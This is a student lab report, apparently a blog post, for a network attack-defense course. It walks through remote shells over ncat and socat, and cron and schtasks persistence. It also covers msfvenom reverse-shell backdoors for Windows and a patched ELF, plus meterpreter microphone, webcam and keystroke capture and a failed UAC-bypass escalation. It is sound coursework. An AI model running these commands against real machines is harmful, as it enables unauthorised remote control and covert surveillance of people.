20212405 2023-2024-2 《网络与系统攻防技术》实验二实验报告

一、实验内容

(一)本周学习内容总结

本周在缓冲区溢出的基础之上介绍了堆栈溢出,在之前数据结构课的基础之上我学习了栈的结构,但是关于堆并没有很清晰的认知。然后也学习了三种溢出模式:NSR,RNS,RS。
NSR模式主要适用于被溢出的缓冲区变量比较大,足以容纳Shellcode的情况。其攻击数据从低地址到高地址构造,包括Nop指令填充Shellcode和一些期望覆盖RET返回地址的跳转地址,从而构成NSR攻击数据缓冲区。
RNS一般用于被溢出的变量比较小,不足于容纳Shellcode的情况。由于被溢出的缓冲区较小,无法直接放置整个Shellcode,因此攻击者依赖于Nop填充和跳转地址来间接执行Shellcode。当程序执行到被覆盖的RET返回地址时,它会跳转到Nop填充的起始位置,并在Nop指令中“滑动”直到找到并执行Shellcode。
在RS模式中,攻击者通常将Shellcode放置在漏洞程序执行的环境变量中,这些环境变量位于栈的底部,因此其位置在程序执行期间是固定的。攻击者构造的恶意输入数据会覆盖函数的返回地址,使其指向栈上的这个固定位置。由于Shellcode的位置是已知的,攻击者可以精确地计算出返回地址的值,通常是通过计算栈底地址并减去必要的偏移量(包括指针大小、文件名长度和Shellcode长度等)来得到的。

(二)实验内容

1、实践目标
任务一:在Windows下使用netcat获取Linux主机操作shell,并在Windows下操纵Linux用crontab启用某个任务;
任务二:在Linux下使用socat连接Windows主机操作shell,并在Linux下操纵Windows用命令行创建、启动一个计划任务;
任务三:在Linux下使用MSF meterpreter生成可执行文件,利用socat传送到Windows主机并运行获取主机shell;
任务四:在Linux下使用MSF meterpreter生成 获取Windows主机的音频、摄像头、击键记录等内容,并尝试提权;
任务五:使用MSF生成shellcode注入到实验1中的pwn1中,获取反弹连接shell。
2、实验要求(回答问题)
(1)例举你能想到的一个后门进入到你系统中的可能方式?
如果正在使用的软件存在一个缓冲区溢出漏洞,就可以构造一个含有恶意代码的文件,当打开使用这个文件时,恶意代码可能会利用缓冲区溢出漏洞执行,从而安装后门。一旦后门安装成功,就可以通过该后门远程访问和控制系统。

(2)例举你知道的后门如何启动起来(win及linux)的方式?
在Windows系统中,后门可以通过多种方式启动:
利用启动项:后门程序可以添加到Windows的启动项中,如注册表中的启动项、任务计划程序或Windows服务的自动启动项。这样,当系统启动时,后门程序也会自动运行。
利用系统漏洞:攻击者可能会利用Windows系统中的已知漏洞来执行恶意代码或安装后门。这些漏洞可能存在于操作系统本身、第三方软件或驱动程序中。
通过远程连接:攻击者可能首先获得对系统的远程访问权限,然后通过远程连接工具(如远程桌面、SSH等)启动后门程序。

在Linux系统中,后门同样可以通过类似的方式启动:
利用init系统:Linux中的init系统(如Systemd或SysVinit)负责在系统启动时启动和管理服务。后门程序可以被配置为在系统启动时自动运行。
利用cron或at任务:攻击者可以在系统中设置cron任务或at任务,以便在特定时间或系统事件发生时启动后门程序。
利用内核模块:攻击者可能会编写恶意内核模块,并将其加载到Linux内核中。这些模块可以在系统级别执行操作,包括启动后门。

(3)Meterpreter有哪些给你映像深刻的功能?
远程执行命令:Meterpreter可以作为漏洞溢出后的攻击载荷使用,攻击载荷在触发漏洞后会返回一个由攻击者控制的通道,允许攻击者远程执行命令。这种能力使得攻击者能够在目标系统上执行各种操作,从而实现对目标系统的完全控制。
权限提升:Meterpreter还支持权限提升操作,攻击者可以利用Meterpreter来提升自己的权限级别,从而获得更高的访问权限和更多的控制能力。这种能力使得攻击者能够执行一些原本需要更高权限才能执行的操作,进一步加深对目标系统的控制。
权限提升在任务四中有体现,但我试了很久都没有成功

(4)如何发现自己有系统有没有被安装后门?
检查任务管理器与进程:仔细查看任务管理器中的进程,特别关注是否有可疑的程序或活动。对于详细信息中的可疑程序,可以右击打开文件所在的位置,再右击程序属性查看其创建日期及修改日期,判断是否最近有异常更新。
使用网络监控工具:通过网络流量监控工具对系统的网络通信进行监控,检查是否存在异常的网络连接,是否有未知的端口开放。特别注意查看是否有可疑IP在进行外网链接。
检查系统日志:在Windows系统中,可以通过查看“时间查看器”中的“Windows日志”和“系统”或“安全”信息,来检查服务文件名是否有可疑程序。
审查系统配置:定期进行安全审计,检查系统的安全配置是否符合最佳实践,是否存在异常配置。同时,对系统的日志进行分析,查找异常记录。
使用漏洞扫描工具:对系统进行全面扫描,发现系统中存在的已知漏洞,并及时进行修补,以防止攻击者利用漏洞进行入侵。

二、实验过程

任务一:在Windows下使用netcat获取Linux主机操作shell,并在Windows下操纵Linux用crontab启用某个任务

这个任务中需要使用ncat命令,也就是netcat。它具有许多功能,如连接远程主机、端口扫描、监听端口、文件传输、简单聊天以及获取shell等,通过它可以在不同的计算机之间建立TCP或UDP连接,实现网络通信,并在计算机之间传输文件。
还有一个命令是crontab,这个部分我用的不太顺利。crontab是Unix系统中的一个后台进程,用于执行预定的任务。它允许用户创建和管理计划任务,以便在特定的时间间隔或时间点自动运行命令或脚本。这些任务可以按照分钟、小时、日、月和星期等不同的时间单位进行安排。crontab文件包含一系列计划任务条目,每个条目都定义了一个任务的执行时间和要运行的命令或脚本。所有用户定义的crontab文件都被保存在/var/spool/cron目录中,其文件名与用户名一致。如果新建一个文件需要在root权限下。

开始实验:查出主机和kali的地址
在这里插入图片描述
在这里插入图片描述
首先使用netcat获取linux主机的操作shell:
主机cmd:C:\Users\Lenovo>ncat.exe -l -p 2405
kali终端:ncat 192.168.1.108 2405 -e /bin/sh
在这里插入图片描述
然后开始crontab部分,按照这个路径“filesystem->var->spool->cron->crontabs->root”在kali中找到root文件,但是我的不知道怎么回事即使运行了crontab的-e指令也找不到root文件,然后只好通过编辑器生成一个root文件。这个nano编辑器第一次用还很不熟练,在老师的指导下才完成了生成root文件的操作。
在这里插入图片描述
这里就可以通过查看发现root文件写好了:
在这里插入图片描述
检查是否连接:
在这里插入图片描述
然后用cmd添加自己设置的任务:
echo “*****echo “20212405”>/home/202124051/ll.txt”>/var/spool/cron/crontabs/root,这个意思是每分钟在ll.txt这个文件上写20212405:
在这里插入图片描述
可见任务一成功!

任务二:在Linux下使用socat连接Windows主机操作shell,并在Linux下操纵Windows用命令行创建、启动一个计划任务

这个任务用到了socat这个工具:socat可以在两个独立数据通道之间建立双向数据传输的通道,这些数据通道可以包含文件、管道、设备(如终端或调制解调器等)、套接字(Unix、IP4、IP6 - raw、UDP、TCP)以及SSL、SOCKS4客户端或代理CONNECT等。
任务开始,首先用socat连接windows和linux:
kali终端:socat - tcp:192.168.1.108: 2405
cmd:C:\Users\Lenovo>D:
D:>cd D:\socat
D: \socot>socat. exe tcp-listen:2405 exec:cmd.exe,ptystderr
在这里插入图片描述
然后需要我们来写一个小程序,就是写一段代码,编译运行之后会在debug文件夹中找到你的.exe小程序。我写的这个小程序是在lin.txt上写“dif”:
在这里插入图片描述
然后在kali终端使用schtasks创建一个计划,我的是每一分钟执行一次我写的这个程序:
D:\socat>schtasks create /sc minute /mo 1/tn “20212405” /tr C:\Users\Lenovo\Desktop\lintest\bin\Debug\lintest.exe:
在这里插入图片描述
打开计算机管理,看到正在运行的任务名“20212405”,至此,此任务成功。

任务三:在Linux下使用MSF meterpreter生成可执行文件,利用socat传送到Windows主机并运行获取主机shell

这个实验中用到了MSF meterpreter,MSF(Metasploit)中的Meterpreter是一个扩展模块,作为溢出成功以后的攻击荷载使用。当攻击荷载在溢出攻击成功后,Meterpreter会返回一个控制通道,使得攻击者能够获得目标系统的一个Meterpreter shell链接。Meterpreter shell是一个渗透模块,具有许多有用的功能,包括但不限于添加用户、隐藏文件或进程、打开shell、获取用户密码、上传和下载远程主机的文件、运行cmd.exe、捕捉屏幕、获取远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等。
任务开始:首先使用ifconfig查看linux上的ip
在这里插入图片描述
linux的ip192.168.1.107
然后使用命令生成后门文件:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.253.143 LPORT=2406 -f exe > 20212406backdoor.exe
生成后在kali上使用命令:nc 192.168.1.108 2406 < 20212405backdoor.exe将后门文件传送给本机
本机上使用命令:C:\Users\Lenovo>ncat.exe -lv 2405 > "C:\Users\Lenovo\Desktop\20212405backdoor.exe”将此后门文件存到桌面:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
成功接收到后门文件并保存到桌面上。
然后进入msfconsole,配置监听模块并开始监听,然后在cmd上运行后门文件:
C:\UserslLenovo\Desktop>.20212405backdoor.exe
在这里插入图片描述
可见kali这边成功获取shell,此任务完成。

任务四:在Linux下使用MSF meterpreter生成 获取Windows主机的音频、摄像头、击键记录等内容,并尝试提权

在上一个任务基础之上继续操作如下指令,即可获得音频截屏拍照等内容:
record_mic    //获取音频
screenshot    //获取截屏
webcam_snap //拍照
keyscan_start keyscan_dump //读取键盘记录
操作完之后即可获得以上内容:

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
至此,获取音频,摄像头,截屏等都成功,接下来进行提权尝试(但并没有成功)
应该在kali继续操作:getuid,然后getsystem
我是在getsystem这一步出了问题,报错的显示是已经尝试了许多种提权方式但是仍然没有成功,网上查到的解决方案是绕过UAC,通过将会话放到后台来解决,具体流程如下:
先使用background将连接会话放到后台
use exploit/windows/local/ask # 加载模块
set session 1
set FILENAME WindowsUpdater.exe
run
但是我在执行到run的时候就不能显示正在执行的会话了,之后和老师尝试很久但仍然没有解决。

任务五:使用MSF生成shellcode注入到实验1中的pwn1中,获取反弹连接shell

这个任务还是要用到上一个实验的pwn1,2文件,首先将shell写入pwn1中:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.43.78 LPORT=2405 -x /home/202124051/pwn1 -f elf > 20212405pwn2:
在这里插入图片描述
在这里插入图片描述
然后以root身份给新生成的文件添加执行权限:chmod a+x 20212405pwn2(第一个图)
然后运行同样的监听操作流程:
在这里插入图片描述
如图,可以查看,此任务成功。

三、遇到的问题

1、在使用nano编辑器写root文件的时候不知道为什么保存不了,就是写完了使用查看命令但是看不到,后来请教老师得知是保存的方式不太行,而且这一步需要用root的权限,不然也保存不了
2、在使用socat的时候连接不上,后来看到自己创建任务的时候命令行输入少了一个\,我真的很抱歉因为这一个小疏忽的问题又麻烦了老师好久(痛哭流涕),我以后坚决不再犯这种错误
3、在任务3中需要运行在桌面上的后门文件,但是明明保存在了桌面上,在kali连接然后本机运行 的时候就显示找不到,这是本实验第一次运行后门文件的操作,我试着关闭了360然后就可以运行了(幸好不是防火墙不然有点麻烦)
4、最后一个没解决的大麻烦就是提权,这个问题一路查找报错和解决方法,但是开始监听的时候连接不上,防火墙关了也不好使,这个问题和老师一起尝试很久,后来自己又试了一个晚上还是不行,所以只好放弃,问问同学都是什么情况吧

四、学习心得

本来以为实验一就够费劲了,没想到这次实验更是让我焦头烂额,我总觉得自己会碰到很多别人都没遇到的问题,比如nano保存不了,比如别人运行了crontab都有文件但我就是没有,还有一些自己很粗心的问题比如命令少了一个字符就足以卡住我一两个小时解决不了,还有就是不知道怎么解决的提权问题,这些大大小小的问题让我很不顺利,不过好在总是做完了。我做实验的时候总是会依赖别人,解决不了就想去问,我也在努力克服这个毛病,耐心查报错,多试几次,实在不行再去问别人。而且最重要的是自己一定要细心,要好好查错,不要再因为粗心的问题效率低下,对照着指导书小心一点去操作。然后一个体会就是如果能理解了所学的知识,也就是实验的原理,那么查错也会方便一些,比如我有一个连接就是kali和本机地址搞混了导致连不上,后来捋了一下发送方和接收方就改过来了。希望我能吸取教训,下次实验有点长进。

  • 17
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值